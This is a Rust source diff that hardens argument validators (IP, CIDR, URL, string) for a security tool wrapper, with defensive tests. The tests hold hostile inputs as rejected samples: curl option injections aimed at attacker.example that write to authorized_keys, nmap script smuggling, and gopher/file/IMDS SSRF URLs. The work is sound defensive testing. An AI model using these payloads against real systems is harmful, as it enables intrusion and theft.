Ok(val.to_string()) } -fn validate_ip_address(name: &str, val: &str) -> Result { - if val.parse::().is_ok() || val.parse::().is_ok() { - Ok(val.to_string()) - } else { - Err(ToolCladError::ValidationError(format!( +/// A canonical IPv4 or IPv6 literal, under the same egress policy as every +/// other address-carrying type: link-local is always refused, the rest of the +/// non-public table under `block_internal`. +fn validate_ip_address(name: &str, def: &ArgDef, val: &str) -> Result { + match parse_canonical_ip(val) { + Some(ip) => { + enforce_ip_policy(name, &ip, def.block_internal)?; + Ok(val.to_string()) + } + None => Err(ToolCladError::ValidationError(format!( "argument '{name}' is not a valid IP address" - ))) + ))), } } -fn validate_cidr(name: &str, val: &str) -> Result { - if let Some(caps) = CIDR_V4_RE.captures(val) { - let ip_part = &caps[1]; - let prefix: u8 = caps[2].parse().map_err(|_| { - ToolCladError::ValidationError(format!("argument '{name}' has invalid CIDR prefix")) - })?; - if ip_part.parse::().is_err() { - return Err(ToolCladError::ValidationError(format!( - "argument '{name}' has invalid IPv4 address in CIDR" - ))); +/// A strictly framed IPv4 or IPv6 CIDR (canonical base, plain decimal prefix +/// within the family's bound). The whole range is tested for overlap with +/// every blocked prefix: link-local always, the rest under `block_internal`. +fn validate_cidr(name: &str, def: &ArgDef, val: &str) -> Result { + match parse_cidr(val) { + Some(net) => { + enforce_cidr_policy(name, &net, def.block_internal)?; + Ok(val.to_string()) } - if prefix > 32 { - return Err(ToolCladError::ValidationError(format!( - "argument '{name}' CIDR prefix must be 0-32" - ))); - } - Ok(val.to_string()) - } else { - Err(ToolCladError::ValidationError(format!( - "argument '{name}' is not valid CIDR notation (e.g. 10.0.0.0/24)" - ))) + None => Err(ToolCladError::ValidationError(format!( + "argument '{name}' is not valid CIDR notation (e.g. 10.0.0.0/24 or 2001:db8::/32)" + ))), } } @@ -522,7 +838,7 @@ fn validate_credential_file(name: &str, _def: &ArgDef, val: &str) -> Result Result Result { - // Try plain integer (seconds) - if val.parse::().is_ok() { - return Ok(val.to_string()); - } - // Parse duration suffixes: ms, s, m, h - let duration_re = Regex::new(r"^(?:(\d+)h)?(?:(\d+)m)?(?:(\d+)s)?(?:(\d+)ms)?$").unwrap(); - if !duration_re.is_match(val) { + if val.is_empty() || !DURATION_RE.is_match(val) { return Err(ToolCladError::ValidationError(format!( "argument '{name}' is not a valid duration (e.g. '30', '5m', '2h', '1h30m', '500ms')" ))); @@ -563,8 +873,7 @@ fn validate_regex_match(name: &str, def: &ArgDef, val: &str) -> Result Result, ) -> Result { - // Check if the type is a custom type - if let Some(custom) = custom_types.get(&def.type_name) { - // Verify the base type is valid - if !SUPPORTED_TYPES.contains(&custom.base.as_str()) { - return Err(ToolCladError::ManifestError(format!( - "custom type '{}' has invalid base type '{}'", - def.type_name, custom.base - ))); - } - // Create a synthetic ArgDef with the custom type's constraints merged - let mut synthetic = def.clone(); - synthetic.type_name = custom.base.clone(); - if let Some(ref allowed) = custom.allowed { - synthetic.allowed = Some(allowed.clone()); - } - if let Some(ref pattern) = custom.pattern { - synthetic.pattern = Some(pattern.clone()); - } - if let Some(min) = custom.min { - synthetic.min = Some(min); - } - if let Some(max) = custom.max { - synthetic.max = Some(max); - } - if let Some(min_f) = custom.min_float { - synthetic.min_float = Some(min_f); - } - if let Some(max_f) = custom.max_float { - synthetic.max_float = Some(max_f); - } - return validate_arg(name, &synthetic, value); + validate_arg_with_custom_types_mode(name, def, value, custom_types, false) +} + +/// [`validate_arg_with_custom_types`] with an explicit command-form mode; +/// `exec_mode` has the same meaning as in [`validate_arg_mode`]. +pub fn validate_arg_with_custom_types_mode( + name: &str, + def: &ArgDef, + value: &str, + custom_types: &std::collections::HashMap, + exec_mode: bool, +) -> Result { + validate_arg_with_custom_types_in(name, def, value, custom_types, exec_mode, None) +} + +/// [`validate_arg_with_custom_types_mode`] with the project scope; `scope` +/// has the same meaning as in [`validate_arg_in`]. +pub fn validate_arg_with_custom_types_in( + name: &str, + def: &ArgDef, + value: &str, + custom_types: &std::collections::HashMap, + exec_mode: bool, + scope: Option<&ScopeDef>, +) -> Result { + match resolve_custom_type(def, custom_types) { + Some(Ok(synthetic)) => validate_arg_in(name, &synthetic, value, exec_mode, scope), + Some(Err(e)) => Err(e), + None => validate_arg_in(name, def, value, exec_mode, scope), } +} - // Not a custom type, use standard validation - validate_arg(name, def, value) +/// The argument definition a custom type stands for: `def` with its type +/// replaced by the custom type's base and the custom type's constraints +/// (`allowed`, `pattern`, `min`, `max`, `min_float`, `max_float`) merged over +/// it. `None` when `def.type_name` is not a custom type; an error when the +/// custom type's base is not a built-in type. +pub fn resolve_custom_type( + def: &ArgDef, + custom_types: &std::collections::HashMap, +) -> Option> { + let custom = custom_types.get(&def.type_name)?; + if !SUPPORTED_TYPES.contains(&custom.base.as_str()) { + return Some(Err(ToolCladError::ManifestError(format!( + "custom type '{}' has invalid base type '{}'", + def.type_name, custom.base + )))); + } + let mut synthetic = def.clone(); + synthetic.type_name = custom.base.clone(); + if let Some(ref allowed) = custom.allowed { + synthetic.allowed = Some(allowed.clone()); + } + if let Some(ref pattern) = custom.pattern { + synthetic.pattern = Some(pattern.clone()); + } + if let Some(min) = custom.min { + synthetic.min = Some(min); + } + if let Some(max) = custom.max { + synthetic.max = Some(max); + } + if let Some(min_f) = custom.min_float { + synthetic.min_float = Some(min_f); + } + if let Some(max_f) = custom.max_float { + synthetic.max_float = Some(max_f); + } + Some(Ok(synthetic)) } #[cfg(test)] mod tests { use super::*; + use crate::types::CustomTypeDef; + use std::collections::HashMap; fn make_arg(type_name: &str) -> ArgDef { ArgDef { @@ -832,11 +1179,11 @@ mod tests { // pass as canonical IPs or sneak through as "hostnames". let def = make_arg("scope_target"); for v in [ - "2130706433", // decimal integer - "0x7f000001", // hex - "0177.0.0.1", // octal-leading - "127.1", // shorthand - "010.0.0.1", // leading-zero octet + "2130706433", // decimal integer + "0x7f000001", // hex + "0177.0.0.1", // octal-leading + "127.1", // shorthand + "010.0.0.1", // leading-zero octet ] { assert!(validate_arg("t", &def, v).is_err(), "should reject {v}"); } @@ -874,40 +1221,79 @@ mod tests { #[test] fn test_scope_target_block_internal_off_allows_internal_by_default() { - // Default policy is permissive: tools that legitimately target internal - // hosts keep working. block_internal must be opted into. + // Default policy is permissive for loopback/private — tools that + // legitimately target internal hosts keep working without opt-in. let def = make_arg("scope_target"); assert!(validate_arg("t", &def, "127.0.0.1").is_ok()); - assert!(validate_arg("t", &def, "169.254.169.254").is_ok()); assert!(validate_arg("t", &def, "10.0.0.5").is_ok()); assert!(validate_arg("t", &def, "::1").is_ok()); + // ...but link-local / cloud metadata is blocked UNCONDITIONALLY. + assert!(validate_arg("t", &def, "169.254.169.254").is_err()); + } + + #[test] + fn test_scope_target_blocks_metadata_unconditionally() { + let def = make_arg("scope_target"); // block_internal = false + for v in [ + "169.254.169.254", + "169.254.0.1", + "::ffff:169.254.169.254", + "fe80::1", + ] { + let err = validate_arg("t", &def, v).unwrap_err().to_string(); + assert!(err.contains("always blocked"), "{v} -> {err}"); + } } #[test] fn test_scope_target_block_internal_on_rejects_non_public() { let def = blocking_arg(); - // loopback / private / link-local (cloud metadata) / unspecified for v in [ "127.0.0.1", "10.0.0.5", "192.168.1.1", - "169.254.169.254", // IMDS + "169.254.169.254", // IMDS (always-block path) "0.0.0.0", "::1", "::ffff:127.0.0.1", // v4-mapped loopback must be unwrapped "fe80::1", // IPv6 link-local "fc00::1", // IPv6 unique-local ] { - let err = validate_arg("t", &def, v).unwrap_err().to_string(); - assert!(err.contains("block_internal"), "{v} -> {err}"); + assert!(validate_arg("t", &def, v).is_err(), "{v} should be blocked"); } - // Public addresses and hostnames still pass under the policy. + // Public literals still pass under the policy. A public *name* now + // needs DNS resolution, so the positive cases stay literal and the + // name path is covered by the `.invalid` fail-closed test. assert!(validate_arg("t", &def, "93.184.216.34").is_ok()); - assert!(validate_arg("t", &def, "example.com").is_ok()); - // CIDR with an internal base is blocked too. + assert!(validate_arg("t", &def, "2606:4700::1111").is_ok()); + // A CIDR overlapping an internal range is blocked too. assert!(validate_arg("t", &def, "10.0.0.0/24").is_err()); } + #[test] + fn test_url_host_hardening() { + let public = make_arg("url"); + // valid public URL passes + assert!(validate_arg("u", &public, "https://example.com/path").is_ok()); + assert!(validate_arg("u", &public, "http://93.184.216.34/x").is_ok()); + // cloud metadata blocked unconditionally, even without block_internal + assert!(validate_arg("u", &public, "http://169.254.169.254/latest/meta-data/").is_err()); + // obfuscated IP hosts rejected + assert!(validate_arg("u", &public, "http://0x7f000001/").is_err()); + assert!(validate_arg("u", &public, "http://2130706433/").is_err()); + // punycode host rejected + assert!(validate_arg("u", &public, "http://xn--example-9c.com/").is_err()); + // loopback allowed only when block_internal is off + assert!(validate_arg("u", &public, "http://127.0.0.1/").is_ok()); + let blocking = ArgDef { + type_name: "url".to_string(), + block_internal: true, + ..Default::default() + }; + assert!(validate_arg("u", &blocking, "http://127.0.0.1/").is_err()); + assert!(validate_arg("u", &blocking, "http://10.0.0.5/x").is_err()); + } + #[test] fn test_scope_target_specific_traversal_message() { // ../../etc/passwd previously collapsed into the generic @@ -1011,8 +1397,20 @@ mod tests { fn test_cidr() { let def = make_arg("cidr"); assert!(validate_arg("c", &def, "10.0.0.0/24").is_ok()); + assert!(validate_arg("c", &def, "2606:4700::/32").is_ok()); assert!(validate_arg("c", &def, "10.0.0.0/33").is_err()); assert!(validate_arg("c", &def, "10.0.0.0").is_err()); + for v in [ + "2606:4700::/129", + "10.0.0.0/024", + "10.0.0.0/+24", + "2606:4700::", + "[2606:4700::]/32", + "0x0a000000/8", + ] { + let err = validate_arg("c", &def, v).unwrap_err().to_string(); + assert!(err.contains("not valid CIDR notation"), "{v}: {err}"); + } } #[test] @@ -1085,4 +1483,1231 @@ mod tests { let def = make_arg("regex_match"); assert!(validate_arg("code", &def, "anything").is_err()); // missing pattern } + + // ---- W1.5 string-derived value hygiene ------------------------------ + + #[test] + fn test_tc1_payloads_rejected() { + // Quote break-out into extra curl options. + let s = make_arg("string"); + assert!(validate_arg("h", &s, "' -d @/etc/passwd").is_err()); + assert!(validate_arg("h", &s, "X: y' -d @/etc/passwd -H 'Z: w").is_err()); + let u = make_arg("url"); + assert!(validate_arg( + "u", + &u, + "https://attacker.example/ -o /root/.ssh/authorized_keys" + ) + .is_err()); + assert!(validate_arg("u", &u, "https://attacker.example/ -o /tmp/pwned").is_err()); + + // exec mode with allow_whitespace does not rescue any of them: quotes + // are banned outright and a url never admits whitespace. + let mut s2 = make_arg("string"); + s2.allow_whitespace = true; + assert!(validate_arg_mode("h", &s2, "' -d @/etc/passwd", true).is_err()); + assert!(validate_arg_mode("h", &s2, "X: y' -d @/etc/passwd -H 'Z: w", true).is_err()); + let mut u2 = make_arg("url"); + u2.allow_whitespace = true; + assert!( + validate_arg_mode("u", &u2, "https://attacker.example/ -o /tmp/pwned", true).is_err() + ); + } + + #[test] + fn test_tc2_payloads_rejected() { + // Option smuggling through a free-text "extra flags" string. + let payloads = [ + "-iL /etc/passwd", + "--script=/tmp/evil.nse", + "--script http-fetch --script-args http-fetch.destination=/tmp/d", + ]; + let s = make_arg("string"); + for v in payloads { + assert!( + validate_arg("extra_flags", &s, v).is_err(), + "should reject {v:?}" + ); + } + // Even with whitespace permitted in exec mode, the leading dash holds. + let mut s2 = make_arg("string"); + s2.allow_whitespace = true; + for v in payloads { + let err = validate_arg_mode("extra_flags", &s2, v, true) + .unwrap_err() + .to_string(); + assert!( + err.contains("must not start with '-' or '+'"), + "{v:?}: {err}" + ); + } + } + + #[test] + fn test_tc3_leading_dash_rejected() { + let err = validate_arg("p", &make_arg("path"), "-rf") + .unwrap_err() + .to_string(); + assert!( + err.contains( + "must not start with '-' or '+' (set allow_leading_dash = true to permit)" + ), + "unexpected: {err}" + ); + assert!(validate_arg("s", &make_arg("string"), "--output=/etc/cron.d/x").is_err()); + assert!(validate_arg("n", &make_arg("integer"), "-1").is_err()); + assert!(validate_arg("s", &make_arg("string"), "+short").is_err()); + assert!(validate_arg("f", &make_arg("number"), "-0.5").is_err()); + + // Numeric types apply the rule to the output: clamping rescues a + // negative input, and a leading '+' that parses away is fine. + let mut n = make_arg("integer"); + n.min = Some(1); + n.clamp = true; + assert_eq!(validate_arg("n", &n, "-5").unwrap(), "1"); + let mut f = make_arg("number"); + f.min_float = Some(0.0); + f.clamp = true; + assert_eq!(validate_arg("f", &f, "-2.5").unwrap(), "0"); + assert_eq!(validate_arg("n", &make_arg("integer"), "+7").unwrap(), "7"); + } + + #[test] + fn test_tc3_allow_leading_dash_opt_in() { + let mut s = make_arg("string"); + s.allow_leading_dash = true; + assert_eq!(validate_arg("s", &s, "-v").unwrap(), "-v"); + // The opt-in is independent of the command form. + assert_eq!(validate_arg_mode("s", &s, "-v", true).unwrap(), "-v"); + let mut n = make_arg("integer"); + n.allow_leading_dash = true; + assert_eq!(validate_arg("n", &n, "-1").unwrap(), "-1"); + // Without the opt-in, exec mode does not help. + assert!(validate_arg_mode("s", &make_arg("string"), "-v", true).is_err()); + } + + #[test] + fn test_nul_rejected_for_every_type() { + for t in SUPPORTED_TYPES { + let mut d = make_arg(t); + if *t == "enum" { + // Only the NUL rule can refuse this: the value is in `allowed`. + d.allowed = Some(vec!["a\0b".to_string()]); + } + if *t == "regex_match" { + d.pattern = Some(".*".to_string()); + } + let err = validate_arg("x", &d, "a\0b").unwrap_err().to_string(); + assert!(err.contains("must not contain NUL bytes"), "{t}: {err}"); + } + } + + #[test] + fn test_control_chars_quotes_whitespace_rejected() { + let s = make_arg("string"); + let err = validate_arg("s", &s, "a\x01b").unwrap_err().to_string(); + assert!(err.contains("must not contain control characters"), "{err}"); + assert!(validate_arg("s", &s, "a\x7fb").is_err()); + assert!(validate_arg("s", &s, "a\tb").is_err()); + assert!(validate_arg("s", &s, "a\nb").is_err()); + // C1 range (U+0080–U+009F) counts as control too. + let err = validate_arg("s", &s, "a\u{85}b").unwrap_err().to_string(); + assert!(err.contains("must not contain control characters"), "{err}"); + assert!(validate_arg("s", &s, "a\u{80}b").is_err()); + assert!(validate_arg("s", &s, "a\u{9f}b").is_err()); + + let err = validate_arg("s", &s, "a'b").unwrap_err().to_string(); + assert!( + err.contains("must not contain quote or backslash characters"), + "{err}" + ); + assert!(validate_arg("s", &s, "a\"b").is_err()); + assert!(validate_arg("s", &s, "a\\b").is_err()); + + let err = validate_arg("s", &s, "a b").unwrap_err().to_string(); + assert!(err.contains("must not contain whitespace"), "{err}"); + assert!(validate_arg("s", &s, "a\u{a0}b").is_err()); // non-ASCII whitespace + assert!(validate_arg("s", &s, " a").is_err()); // raw value, never trimmed + + // The rules cover every string-derived type. + for t in STRING_DERIVED_TYPES { + let mut d = make_arg(t); + if *t == "regex_match" { + d.pattern = Some(".*".to_string()); + } + assert!( + validate_arg("x", &d, "a'b").is_err(), + "{t} should reject a quote" + ); + assert!( + validate_arg("x", &d, "a\x01b").is_err(), + "{t} should reject a control char" + ); + } + + // scope_target keeps its more specific backslash message. + let err = validate_arg("t", &make_arg("scope_target"), "a\\b") + .unwrap_err() + .to_string(); + assert!(err.contains("backslash escape sequences"), "{err}"); + + // enum is exempt from rules 2–5: allowed values are manifest text. + let mut e = make_arg("enum"); + e.allowed = Some(vec!["-sV".to_string(), "a b".to_string()]); + assert_eq!(validate_arg("e", &e, "-sV").unwrap(), "-sV"); + assert_eq!(validate_arg("e", &e, "a b").unwrap(), "a b"); + } + + #[test] + fn test_allow_whitespace_only_in_exec_mode() { + let mut s = make_arg("string"); + s.allow_whitespace = true; + assert!(validate_arg("s", &s, "a b").is_err()); // public default is strict + assert!(validate_arg_mode("s", &s, "a b", false).is_err()); + assert_eq!(validate_arg_mode("s", &s, "a b", true).unwrap(), "a b"); + assert_eq!( + validate_arg_mode("s", &s, "X-Trace: abc def", true).unwrap(), + "X-Trace: abc def" + ); + // The opt-in admits ONLY the ASCII space U+0020. Control whitespace is + // still a control character (rule 2 is unconditional) and every other + // Unicode space is a homoglyph, not a separator. + for v in ["a\tb", "a\nb", "a\rb", "a\x0bb", "a\x0cb"] { + let err = validate_arg_mode("s", &s, v, true).unwrap_err().to_string(); + assert!( + err.contains("must not contain control characters"), + "{v:?}: {err}" + ); + } + for v in [ + "a\u{a0}b", + "a\u{2000}b", + "a\u{200a}b", + "a\u{2028}b", + "a\u{2029}b", + "a\u{3000}b", + ] { + let err = validate_arg_mode("s", &s, v, true).unwrap_err().to_string(); + assert!(err.contains("must not contain whitespace"), "{v:?}: {err}"); + } + assert!(validate_arg_mode("s", &s, "a\x01b", true).is_err()); + // Without the opt-in, exec mode is still strict. + assert!(validate_arg_mode("s", &make_arg("string"), "a b", true).is_err()); + // msf_options keeps its space separator in every mode, and only U+0020. + assert!(validate_arg("m", &make_arg("msf_options"), "RHOSTS 10.0.1.1").is_ok()); + assert!(validate_arg("m", &make_arg("msf_options"), "RHOSTS\t10.0.1.1").is_err()); + assert!(validate_arg("m", &make_arg("msf_options"), "RHOSTS\u{a0}10.0.1.1").is_err()); + assert!(validate_arg("m", &make_arg("msf_options"), "RHOSTS 'x'").is_err()); + assert!(validate_arg("m", &make_arg("msf_options"), "-RHOSTS x").is_err()); + } + + #[test] + fn test_pattern_is_anchored() { + let mut s = make_arg("string"); + s.pattern = Some("[a-z]+".to_string()); + assert!(validate_arg("s", &s, "abc").is_ok()); + assert!(validate_arg("s", &s, "abc123").is_err()); + assert!(validate_arg("s", &s, "123abc").is_err()); + let mut r = make_arg("regex_match"); + r.pattern = Some("[a-z]+".to_string()); + assert!(validate_arg("r", &r, "abc").is_ok()); + assert!(validate_arg("r", &r, "abc123").is_err()); + + assert_eq!(anchor_pattern("[a-z]+"), "^(?:[a-z]+)$"); + assert_eq!(anchor_pattern("^[a-z]+$"), "^(?:[a-z]+)$"); + assert_eq!(anchor_pattern(r"a\$"), r"^(?:a\$)$"); + + // Custom types go through the same anchoring. + let custom = HashMap::from([( + "slug".to_string(), + CustomTypeDef { + base: "string".to_string(), + allowed: None, + pattern: Some("[a-z]+".to_string()), + min: None, + max: None, + min_float: None, + max_float: None, + }, + )]); + assert!(validate_arg_with_custom_types("s", &make_arg("slug"), "abc123", &custom).is_err()); + assert!(validate_arg_with_custom_types("s", &make_arg("slug"), "abc", &custom).is_ok()); + // ...and the custom-type path honors the mode flag the same way. + let mut spaced = make_arg("slug"); + spaced.allow_whitespace = true; + let custom_any = HashMap::from([( + "slug".to_string(), + CustomTypeDef { + base: "string".to_string(), + allowed: None, + pattern: Some("[a-z ]+".to_string()), + min: None, + max: None, + min_float: None, + max_float: None, + }, + )]); + assert!(validate_arg_with_custom_types("s", &spaced, "a b", &custom_any).is_err()); + assert!( + validate_arg_with_custom_types_mode("s", &spaced, "a b", &custom_any, true).is_ok() + ); + } + + // ---- url validator (W3) and host policy (W4) ---- + + fn url_arg(block_internal: bool, schemes: &[&str]) -> ArgDef { + ArgDef { + type_name: "url".to_string(), + block_internal, + schemes: schemes.iter().map(|s| s.to_string()).collect(), + ..Default::default() + } + } + + #[test] + fn test_url_injection_vectors_inline() { + // Mirrors every `url-*` vector in tests/injection_vectors.json; a + // later wave reads the file directly. + struct Vector { + id: &'static str, + value: &'static str, + block_internal: bool, + schemes: &'static [&'static str], + accept: bool, + } + let vectors = [ + Vector { + id: "url-space-option-injection", + value: "https://attacker.example/ -o /root/.ssh/authorized_keys", + block_internal: false, + schemes: &[], + accept: false, + }, + Vector { + id: "url-space-write-tmp", + value: "https://attacker.example/ -o /tmp/pwned", + block_internal: false, + schemes: &[], + accept: false, + }, + Vector { + id: "url-secret-smuggling", + value: "https://attacker.example/?k={_secret:api_key}", + block_internal: false, + schemes: &[], + accept: false, + }, + Vector { + id: "url-javascript-scheme", + value: "javascript:alert(1)", + block_internal: false, + schemes: &[], + accept: false, + }, + Vector { + id: "url-file-scheme", + value: "file:///etc/passwd", + block_internal: false, + schemes: &[], + accept: false, + }, + Vector { + id: "url-data-scheme", + value: "data:text/html,", + block_internal: false, + schemes: &[], + accept: false, + }, + Vector { + id: "url-gopher-redis", + value: "gopher://127.0.0.1:6379/_FLUSHALL", + block_internal: false, + schemes: &[], + accept: false, + }, + Vector { + id: "url-dict-scheme", + value: "dict://127.0.0.1:11211/stat", + block_internal: false, + schemes: &[], + accept: false, + }, + Vector { + id: "url-userinfo", + value: "http://user:pw@example.com/", + block_internal: false, + schemes: &[], + accept: false, + }, + Vector { + id: "url-metacharacter", + value: "https://attacker.example/;id", + block_internal: false, + schemes: &[], + accept: false, + }, + Vector { + id: "url-scheme-not-in-list", + value: "http://example.com/", + block_internal: false, + schemes: &["https"], + accept: false, + }, + Vector { + id: "url-imds-always-blocked", + value: "http://169.254.169.254/latest/meta-data/", + block_internal: false, + schemes: &[], + accept: false, + }, + Vector { + id: "url-docker-socket-block-internal", + value: "http://127.0.0.1:2375/containers/json", + block_internal: true, + schemes: &[], + accept: false, + }, + Vector { + id: "url-ipv6-loopback-block-internal", + value: "http://[::1]:8080/", + block_internal: true, + schemes: &[], + accept: false, + }, + Vector { + id: "url-accept", + value: "https://example.com/path", + block_internal: false, + schemes: &[], + accept: true, + }, + Vector { + id: "url-accept-public-ip-block-internal", + value: "https://93.184.216.34/x", + block_internal: true, + schemes: &[], + accept: true, + }, + ]; + for v in &vectors { + let def = url_arg(v.block_internal, v.schemes); + let result = validate_arg("u", &def, v.value); + assert_eq!(result.is_ok(), v.accept, "{}: {result:?}", v.id); + } + } + + #[test] + fn test_url_honors_schemes_list() { + // The regression this wave closes: Rust ignored `schemes` entirely. + let https_only = url_arg(false, &["https"]); + let err = validate_arg("u", &https_only, "http://example.com/") + .unwrap_err() + .to_string(); + assert!(err.contains("scheme 'http' is not permitted"), "{err}"); + assert!(validate_arg("u", &https_only, "https://example.com/").is_ok()); + // Case-insensitive on both sides. + assert!(validate_arg("u", &https_only, "HTTPS://example.com/").is_ok()); + assert!(validate_arg("u", &url_arg(false, &["HTTPS"]), "https://example.com/").is_ok()); + // A custom scheme can be allowed when it is not on the denylist, and + // listing it drops the defaults. + let custom = url_arg(false, &["custom"]); + assert!(validate_arg("u", &custom, "custom://example.com/").is_ok()); + assert!(validate_arg("u", &custom, "https://example.com/").is_err()); + // Unset means http + https. + let def = make_arg("url"); + assert!(validate_arg("u", &def, "http://example.com/").is_ok()); + assert!(validate_arg("u", &def, "https://example.com/").is_ok()); + let err = validate_arg("u", &def, "custom://example.com/") + .unwrap_err() + .to_string(); + assert!(err.contains("allowed: http, https"), "{err}"); + } + + #[test] + fn test_url_denied_schemes_even_when_listed() { + for scheme in [ + "javascript", + "data", + "file", + "blob", + "about", + "gopher", + "dict", + "ftp", + "ldap", + "jar", + "netdoc", + "mailto", + "ws", + "wss", + ] { + let def = url_arg(false, &[scheme]); + let value = format!("{scheme}://example.com/x"); + let err = validate_arg("u", &def, &value).unwrap_err().to_string(); + assert!(err.contains("never permitted"), "{scheme}: {err}"); + // Mixed case does not slip past the denylist. + let upper = format!("{}://example.com/x", scheme.to_ascii_uppercase()); + assert!(validate_arg("u", &def, &upper).is_err(), "{upper}"); + } + // Not listed: the ordinary allowlist message applies. + let err = validate_arg("u", &make_arg("url"), "file:///etc/passwd") + .unwrap_err() + .to_string(); + assert!(err.contains("not permitted"), "{err}"); + } + + #[test] + fn test_url_structure() { + let def = make_arg("url"); + // No scheme separator. + let err = validate_arg("u", &def, "example.com/path") + .unwrap_err() + .to_string(); + assert!(err.contains("expected scheme://host"), "{err}"); + assert!(validate_arg("u", &def, "javascript:alert(1)").is_err()); + // Userinfo hides the real host from a reviewer. + let err = validate_arg("u", &def, "http://user:pw@example.com/") + .unwrap_err() + .to_string(); + assert!(err.contains("userinfo"), "{err}"); + assert!(validate_arg("u", &def, "http://evil.example@example.com/").is_err()); + // An `@` after the authority is just path or query data. + assert!(validate_arg("u", &def, "https://example.com/@handle").is_ok()); + assert!(validate_arg("u", &def, "https://example.com/?to=a@b").is_ok()); + // Empty host. + for v in ["http:///path", "http://", "http://:8080/", "http://?q=1"] { + let err = validate_arg("u", &def, v).unwrap_err().to_string(); + assert!(err.contains("empty host"), "{v}: {err}"); + } + // Query or fragment directly after the host, and no path at all. + assert!(validate_arg("u", &def, "https://example.com").is_ok()); + assert!(validate_arg("u", &def, "https://example.com?q=1").is_ok()); + assert!(validate_arg("u", &def, "https://example.com#frag").is_ok()); + // Unbracketed IPv6 is ambiguous with a port. + let err = validate_arg("u", &def, "http://::1/") + .unwrap_err() + .to_string(); + assert!(err.contains("enclosed in brackets"), "{err}"); + assert!(validate_arg("u", &def, "https://example.com:80:80/").is_err()); + // Host character set and DNS limits. + assert!(validate_arg("u", &def, "http://exa_mple.com/").is_err()); + assert!(validate_arg("u", &def, "http://-example.com/").is_err()); + assert!(validate_arg("u", &def, "http://exa%41mple.com/").is_err()); + let err = validate_arg("u", &def, "http://exämple.com/") + .unwrap_err() + .to_string(); + assert!(err.contains("ASCII"), "{err}"); + let long_label = format!("http://{}.com/", "a".repeat(64)); + assert!(validate_arg("u", &def, &long_label).is_err()); + assert!(validate_arg("u", &def, &format!("http://{}.com/", "a".repeat(63))).is_ok()); + // Whitespace is never admitted, even in exec mode with the opt-in. + let mut lenient = make_arg("url"); + lenient.allow_whitespace = true; + assert!(validate_arg_mode("u", &lenient, "https://example.com/ -o x", true).is_err()); + } + + #[test] + fn test_url_ports() { + let def = make_arg("url"); + for v in [ + "https://example.com:8443/x", + "https://example.com:8443", + "https://example.com:1/", + "https://example.com:65535/", + "http://93.184.216.34:8080/x", + ] { + assert!(validate_arg("u", &def, v).is_ok(), "{v}"); + } + for v in [ + "https://example.com:0/x", + "https://example.com:99999/x", + "https://example.com:65536/", + "https://example.com:/x", + "https://example.com:+80/", + "https://example.com:8a/", + ] { + let err = validate_arg("u", &def, v).unwrap_err().to_string(); + assert!(err.contains("port must be 1-65535"), "{v}: {err}"); + } + } + + #[test] + fn test_url_authority_split_unwraps_bracketed_ipv6() { + // `[` and `]` are shell metacharacters, so a bracketed literal never + // reaches the structural parse through validate_arg; the splitter is + // exercised directly so the unwrap stays correct. + let h = split_url_authority("u", "[::1]:8080").unwrap(); + assert_eq!(h.host, "::1"); + assert_eq!(h.port, Some(8080)); + assert_eq!(h.bracketed_v6, Some(Ipv6Addr::LOCALHOST)); + let h = split_url_authority("u", "[2001:db8::1]").unwrap(); + assert_eq!(h.port, None); + assert_eq!(h.bracketed_v6, Some("2001:db8::1".parse().unwrap())); + assert_eq!( + split_url_authority("u", "example.com:8443").unwrap(), + UrlHost { + host: "example.com", + port: Some(8443), + bracketed_v6: None, + } + ); + assert_eq!( + split_url_authority("u", "example.com").unwrap(), + UrlHost { + host: "example.com", + port: None, + bracketed_v6: None, + } + ); + for bad in [ + "[::1", + "[::1]x", + "[::1]:", + "[::1]:0", + "[]", + "[example.com]", + "[::1]]", + "", + ":80", + ] { + assert!(split_url_authority("u", bad).is_err(), "{bad}"); + } + } + + #[test] + fn test_url_block_internal_policy() { + let blocking = url_arg(true, &[]); + for v in [ + "http://127.0.0.1/", + "http://127.0.0.1:2375/containers/json", + "http://[::1]:8080/", + "http://10.0.0.5/x", + "http://192.168.1.1/", + "http://172.16.0.1/", + "http://100.64.0.1/", + "http://0.0.0.0/", + "http://198.18.0.1/", + "http://240.0.0.1/", + "http://192.0.2.1/", + "http://255.255.255.255/", + ] { + let err = validate_arg("u", &blocking, v).unwrap_err().to_string(); + assert!( + err.contains("block_internal") || err.contains("metacharacter"), + "{v}: {err}" + ); + } + assert!(validate_arg("u", &blocking, "https://93.184.216.34/x").is_ok()); + assert!(validate_arg("u", &blocking, "https://8.8.8.8:8443/").is_ok()); + // Off by default: internal literals pass, except the always-blocked + // tier. + let open = make_arg("url"); + for v in [ + "http://127.0.0.1/", + "http://10.0.0.5/x", + "http://100.64.0.1/", + "http://198.18.0.1/", + "http://240.0.0.1/", + ] { + assert!(validate_arg("u", &open, v).is_ok(), "{v}"); + } + } + + #[test] + fn test_url_imds_blocked_in_both_modes() { + for block_internal in [false, true] { + let def = url_arg(block_internal, &[]); + for v in [ + "http://169.254.169.254/latest/meta-data/", + "http://169.254.169.254:80/", + "http://169.254.0.1/", + ] { + let err = validate_arg("u", &def, v).unwrap_err().to_string(); + assert!(err.contains("always blocked"), "{v}: {err}"); + } + // The v4-mapped spelling needs brackets in a URL, which the + // metacharacter rule refuses first; the policy itself is checked + // on the literal directly. + assert!(validate_arg("u", &def, "http://[::ffff:169.254.169.254]/").is_err()); + let mapped: IpAddr = "::ffff:169.254.169.254".parse().unwrap(); + let err = enforce_ip_policy("u", &mapped, block_internal) + .unwrap_err() + .to_string(); + assert!(err.contains("always blocked"), "{err}"); + } + } + + #[test] + fn test_scope_target_block_internal_full_table() { + let def = blocking_arg(); + for v in [ + "10.0.0.5", + "192.168.1.1", + "172.16.0.1", + "0.0.0.0", + "0.1.2.3", + "::1", + "::", + "fc00::1", + "::ffff:127.0.0.1", + "100.64.0.1", + "198.18.0.1", + "240.0.0.1", + "255.255.255.255", + "192.0.2.1", + "198.51.100.1", + "203.0.113.1", + "2001:db8::1", + "100.64.0.0/10", + "198.18.0.0/15", + ] { + let err = validate_arg("t", &def, v).unwrap_err().to_string(); + assert!( + err.contains("blocked by block_internal policy"), + "{v}: {err}" + ); + } + assert!(validate_arg("t", &def, "93.184.216.34").is_ok()); + assert!(validate_arg("t", &def, "2606:2800:220:1:248:1893:25c8:1946").is_ok()); + assert!(validate_arg("t", &def, "8.8.8.0/24").is_ok()); + // The newly covered ranges stay open without the policy. + let open = make_arg("scope_target"); + for v in [ + "100.64.0.1", + "198.18.0.1", + "240.0.0.1", + "2001:db8::1", + "0.1.2.3", + ] { + assert!(validate_arg("t", &open, v).is_ok(), "{v}"); + } + 